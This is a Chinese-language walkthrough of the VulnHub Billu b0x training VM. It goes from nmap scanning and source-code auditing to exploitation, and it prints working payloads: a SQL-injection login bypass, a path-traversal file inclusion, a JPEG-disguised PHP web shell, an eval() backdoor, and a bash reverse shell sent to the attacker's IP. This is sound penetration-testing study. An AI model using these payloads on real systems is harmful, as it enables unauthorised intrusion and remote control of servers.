前言

因为之前都在学习代码审计比较多,然后对渗透测试这一块实在是没什么了解,之前本科的时候想要学习过,但是那个时候设备太菜了,同时运行靶机和攻击机实在是有点卡得吃不消。现在趁着这两天稍微轻松点,所以学习一点简单的渗透知识。

这次采用的靶机是vulnhub上的Billu靶机,可以在这里下载: https://www.vulnhub.com/entry/billu-b0x,188/

下载后是一个ova文件,导入vmware或是virtual box,记得把网络连接改为DHCP模式即可。

实验靶机

靶机 :Billu

攻击机 : Kali 2020.02,这个版本的kali和前几年的相比,感觉在UI方面改进了好多,对密码也进行了修改,变成了kali:kali,没想到的是去掉了root用户,具体的可以参考官方链接: https://www.kali.org/docs/introduction/default-credentials/

主机和靶机的网络都采用DHCP模式,位于同一局域网下。

信息收集

当前的攻击机的ip地址为192.168.247.210,所以我们要扫描的网络范围可以确定为192.168.247.1/24

3

这里收集主机信息可以用metasploit或是更为强大的nmap

目标主机探测

metasploit

在Metasploit中也存在一些模块可以用于主机探测,这些模块位于Metasploit源码的modules/auxiliary/scanner/discovery路径下,主要有这么几个:

1

这里可能第一个和最后一个用的比较多:

arp_sweep : 使用arp请求枚举本地局域网络中的所有活跃主机

udp_sweep : 通过发送udp数据包探测指定主机是否处于活跃状态,并发现主机上的udp服务

因为要先确定靶机的ip地址,所以可以用auxiliary/scanner/discovery/arp_sweep探测:

1
2
3
4
5
6
7
8
9
10
11
12
13
msf5 > use auxiliary/scanner/discovery/arp_sweep 
msf5 auxiliary(scanner/discovery/arp_sweep) > show options

Module options (auxiliary/scanner/discovery/arp_sweep):

Name Current Setting Required Description
---- --------------- -------- -----------
INTERFACE no The name of the interface
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SHOST no Source IP Address
SMAC no Source MAC Address
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 5 yes The number of seconds to wait for new data

新版的kali默认不是root用户,这个需要root权限。

2

但是arp_sweep 只能探测同一子网中的主机,对于远程的网络,nmap 是更好的选择。

nmap

命令格式为:

1
nmap <扫描选项> <扫描目标>

常用的nmap扫描类型参数有:

1
2
3
4
5
6
-sT: TCP connect扫描,类似Metasploit中的tcp扫描模块
-sS: TCP SYN扫描,类似Metasploit中的syn扫描模块
-sF/-sX/-sN: 这些扫描通过发送一些特殊的标志位以避开设备或软件的检测
-sP: 通过发送ICMP echo请求来探测主机是否存活,原理通ping
-sU: 探测目标主机开放了哪些UDP端口
-sA: TCP ACK扫描,类似Metasploit中的ack扫描模块

常用的nmap扫描选项有:

1
2
3
4
-Pn: 在扫描之前,不发送ICMP echo请求测试目标是否存活
-O: 启用对于TCP/IP协议栈的指纹特征扫描以获取远程主机的操作系统类型等信息
-F: 快速扫描模式,只扫描在nmap-services中列出的端口
-p<端口范围>: 可以使用这个参数指定希望扫描的端口(如-p1080),也可以使用一段端口范围(例如1-1023)

直接用nmap -sP 192.168.247.1/24进行扫描:

4

可以发现目标主机的ip为192.168.247.211

主机服务信息探测

1
nmap -p1-65535 -A 192.168.247.211 -oN billu.txt

其中-A表示获取详细的操作系统信息,-oN表示保存扫描结果到某个文件,这里是billu.txt

5

扫描后发现开启了两个服务,一个apache,另一个ssh服务:

1
2
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

漏洞挖掘

在目标主机的80端口上有网站服务,访问后看到是一个登录界面:

6

从提示看是要考察sql注入。到这里先捋一下思路。

渗透测试中的漏洞挖掘部分主要有这么几个流程,主要参考红日安全的这篇文章

  1. SQL注入:看看能不能有什么办法能够成功注入
  2. 爆破目录:用Dirbuster可以爆破网页和目录,dirb可以爆破目录,这一步可以收集到一些信息
  3. 漏洞扫描:上一步爆破的结果,喂给AWVS或是APPScan扫描,看看有没有漏洞
  4. 手动挖掘:如果扫描不到什么有价值的漏洞,可以通过burp抓包,在burp中进行分析
  5. 查看网页源码:看看有没有什么提示
  6. 如果能得到用户名,密码,尝试登录ssh,如果能连接成功,则无需反弹shell

第一步:SQL注入

最先尝试下万能密码:

1
admin' or '1'='1 --

登录失败,跳出一个弹窗:

7

拿sqlmap试一下,稍微介绍下sqlmap的参数选项:

-u : 目标URL
–data : 这个参数表示以POST方式提交请求数据
–level : 表示探测等级,默认为1,失sqlmap使用的payload可以在xml/payloads.xml中看到,当–level的参数设定为2或者是2以上的时候,会尝试注入Cookie参数; 当–level参数设定为3或者3以上的时候,会尝试对User-Agent进行注入;当无法确定哪个payload或者参数为注入点的时候,可以直接使用最高的level
–dbms : 表示指定的数据库,不过默认情况下sqlmap会自己进行探测

所以需要先尝试登录获取一些post请求参数字段:

8

请求的form表单需要三个参数:unpslogin

1
sqlmap -u "http://192.168.247.211" --data "un=admin&ps=admin&login=let%27+login" --level 3 --dbms mysql

但是注入失败:

9

第二步:爆破目录

因为登录失败,爆破一下目录看看有没有其他的网页可以作为入口,这里用Kali中的DirBuster

从扫描结果中可以看到网页信息:

10

1
2
3
4
5
6
7
8
/index.php
/in.php
/c.php
/show.php
/add.php
/test.php
/head.php
/panel.php

以及目录信息:

11

扫描目录还可以用dirb

1
dirb "http://192.168.247.211" /usr/share/dirb/wordlists/big.txt

12

这里发现了Dirbuster没扫出来的一个很重要的目录:/phpmy,根据名字,这非常有可能是phpmyadmin的目录,最后的目录为:

1
2
3
4
5
6
/images
/icons
/doc
/icons/small
/uploaded_images
/phpmy

第三步:访问页面

在访问test.php的时候发现回显,接受一个参数file,看上去应该是文件包含漏洞:

13

但是不知道是get方式还是post方式,都试一下,当采用get请求时,返回了当前页面,再试一下post请求方式:

1
2
3
4
/test.php

POST:
file=/etc/passwd

14

果然存在文件包含,顺便从/etc/passwd可以看到存在用户ica,但是登录密码是什么还是未知。

那可以来读取一下之前爆破出的网页的源码。

test.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php


function file_download($download)
{
if(file_exists($download))
{
header("Content-Description: File Transfer");

header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Accept-Ranges: bytes');
header('Content-Disposition: attachment; filename="'.basename($download).'"');
header('Content-Length: ' . filesize($download));
header('Content-Type: application/octet-stream');
ob_clean();
flush();
readfile ($download);
}
else
{
echo "file not found";
}

}

if(isset($_POST['file']))
{
file_download($_POST['file']);
}
else{

echo '\'file\' parameter is empty. Please provide file path in \'file\' parameter ';
}

test.php的第20行用readfile()实现了任意文件读取。

in.php是一个打印phpinfo的文件:

1
2
3
<?php
phpinfo();
?>

顺便收集到一些phpinfo信息:

1
2
3
4
5
6
7
8
php version:
PHP Version 5.3.10

disable_functions:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority

document_root:
/var/www

然后发现在panel.php文件中存在一个任意文件包含漏洞(第50行):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<?php
session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
header('Location: index.php', true, 302);
exit();

}

echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
unset($_SESSION['logged']);
unset($_SESSION['admin']);
header('Location: index.php', true, 302);
}
echo '<hr><br>';

echo '<form method=post>

<select name=load>
<option value="show">Show Users</option>
<option value="add">Add User</option>
</select>

&nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);

if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}

if($choice==='show')
{

include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}

}

if(isset($_POST['upload']))
{

$name=mysqli_real_escape_string($conn,$_POST['name']);
$address=mysqli_real_escape_string($conn,$_POST['address']);
$id=mysqli_real_escape_string($conn,$_POST['id']);

if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
mysqli_query($conn, $update);

}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "<br>only png,jpg and gif file are allowed";

}
}
}
?>

先是校验上传的文件的后缀名,只能是这四种'jpeg','jpg','gif','png'之一。然后再通过@$finfo->file($_FILES['image']['tmp_name']);获取上传的文件的Content-Type,对其进行校验,这里仅支持三种类型:image/jpegimage/pngimage/gif。并且可以知道上传的文件被保存在目录uploaded_images下。

发现c.php是负责进行数据库连接的,这里泄露了数据库的账户信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );

ini_set( 'session.cookie_httponly', 1 );

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

// Check connection
if (mysqli_connect_errno())
{
echo "connection failed -> " . mysqli_connect_error();
}

?>

mysqli_connect函数是mysqli::__construct()函数的别名:

15

第2个参数和第3个参数分别是登录数据库的账号和密码,所以得到了登录数据库的账号密码:

1
2
username: billu
password: b0x_billu

看看能不能登录phpmyadmin,访问http://192.168.247.211/phpmy

16

成功登录了。这样我们就得到了明文存储的账号密码:

1
2
username: biLLu	
password: hEx_it

index.php页面的源码中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
session_start();

include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
$_SESSION['logged']='';

}

if($_SESSION['logged']==true && $_SESSION['admin']!='')
{

echo "you are logged in :)";
header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {

$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];

header('Location: panel.php', true, 302);

}
else
{
echo "<script>alert('Try again');</script>";
}
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";

?>

其中与sql相关的关键代码为:

1
2
3
4
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);

程序会调用str_replace将username和password中的'字符都替换为'',在本地测试了下,传入的admin' or '1'='1中的'全部都被替换为空字符串了:

25

因为pass在查询的and语句的前半部分,所以可以通过先注释掉pass的'来闭合:

26

所以如果要进行sql注入,那payload就是:

1
2
un: or 1=1 --
ps: \

经过测试,这样是可以成功登录的。

任意文件读取漏洞那里还可以读取phpmyadmin的配置文件,默认为/var/www/phpmy/config.inc.php :

18

$cfg['Servers'][$i]['user'] :MySQL连接用户
$cfg['Servers'][$i]['password'] :登录密码

得到了用户登录mysql的账户密码root : roottoor

尝试用这个登录ssh,登录成功!

19

get shell

上传shell

先利用之前获得的账号密码biLLu : hEx_it登录网站http://192.168.247.211

17

在上面的选项框中有两个选择:Show UsersAdd User。前面也说过,在panel.php文件中存在一个文件包含漏洞:

20

这里$_POST['load']是完全可控的,可以包含任意的文件,比如令load=../../../etc/passwd

21

然后panel.php中又包含图片上传功能,所以我们的目标就是上传一个图片马,然后用任意文件包含给它包含进来。

先在本地随便新建一个图片,因为前面会判断图片的类型,所以这里就直接用jpg的文件头FFD8FFE创建了一个图片,然后在末尾追加一句话木马:

1
2
3
4
5
kali@kali:~/Pictures$ rm evil.jpg 
kali@kali:~/Pictures$ echo 'FFD8FFEo' | xxd -r -p > evil.jpg
kali@kali:~/Pictures$ echo '<?php system($_GET['cmd']);?>' >> evil.jpg
kali@kali:~/Pictures$ cat evil.jpg
���<?php system($_GET[cmd]);?>

创建jpg图片使用的命令为xxd -r -p,可以把纯十六进制转储为二进制文件。

上传后的图片马被保存在/uploaded_images文件夹下:

22

所以加下来利用panel.php中的文件包含漏洞将该文件包含进来:

1
2
3
4
5
url: 
/panel.php?cmd=ls

POST:
load=../../../var/www/uploaded_images/evil.jpg&continue=continue

23

反弹shell

然后通过反弹shell进一步控制目标主机:

1
echo "bash -i >& /dev/tcp/192.168.247.210/23333 0>&1" | bash

url编码一下再请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /panel.php?cmd=%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%34%37%2e%32%31%30%2f%32%33%33%33%33%20%30%3e%26%31%22%20%7c%20%62%61%73%68 HTTP/1.1
Host: 192.168.247.211
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.247.211/panel.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Connection: close
Cookie: PHPSESSID=b7uv2mvjig2lrs6v4n8s71qad5
Upgrade-Insecure-Requests: 1

load=../../../var/www/uploaded_images/evil.jpg&continue=continue

获得了靶机的bash:
24

接着找一个具有写权限的目录,写入木马:

1
2
3
4
5
6
7
8
9
10
11
12
www-data@indishell:/var/www$ cd uploaded_images
cd uploaded_images
www-data@indishell:/var/www/uploaded_images$ echo '<?php eval($_POST[1]);?>' >> shell.php
</uploaded_images$ echo '<?php eval($_POST[1]);?>' >> shell.php
www-data@indishell:/var/www/uploaded_images$ ls
ls
3.jpg
CaptBarbossa.JPG
c.JPG
evil.jpg
jack.jpg
shell.php

写入木马之后,可以连接蚁剑。

提升权限

查看当前的内核版本及系统版本:

1
2
3
4
5
6
www-data@indishell:/var/www/uploaded_images$ uname -r
uname -r
3.13.0-32-generic
www-data@indishell:/var/www/uploaded_images$ cat /etc/issue
cat /etc/issue
Ubuntu 12.04.5 LTS \n \l

然后网上搜索一下本地提权的exp:https://www.exploit-db.com/exploits/37292/

对其进行编译,执行就可以实现本地提权。

总结

这次的靶机里面涉及到的代码审计这一块还是相对比较简单的,然后在爆破目录这里,从这个靶机来看,用Disbuster没有爆出phpmy目录还是有点坑,而且花费的时间也不少,一方面可能是字典比较小,另一方面可能爆目录的时候最好还是使用dirb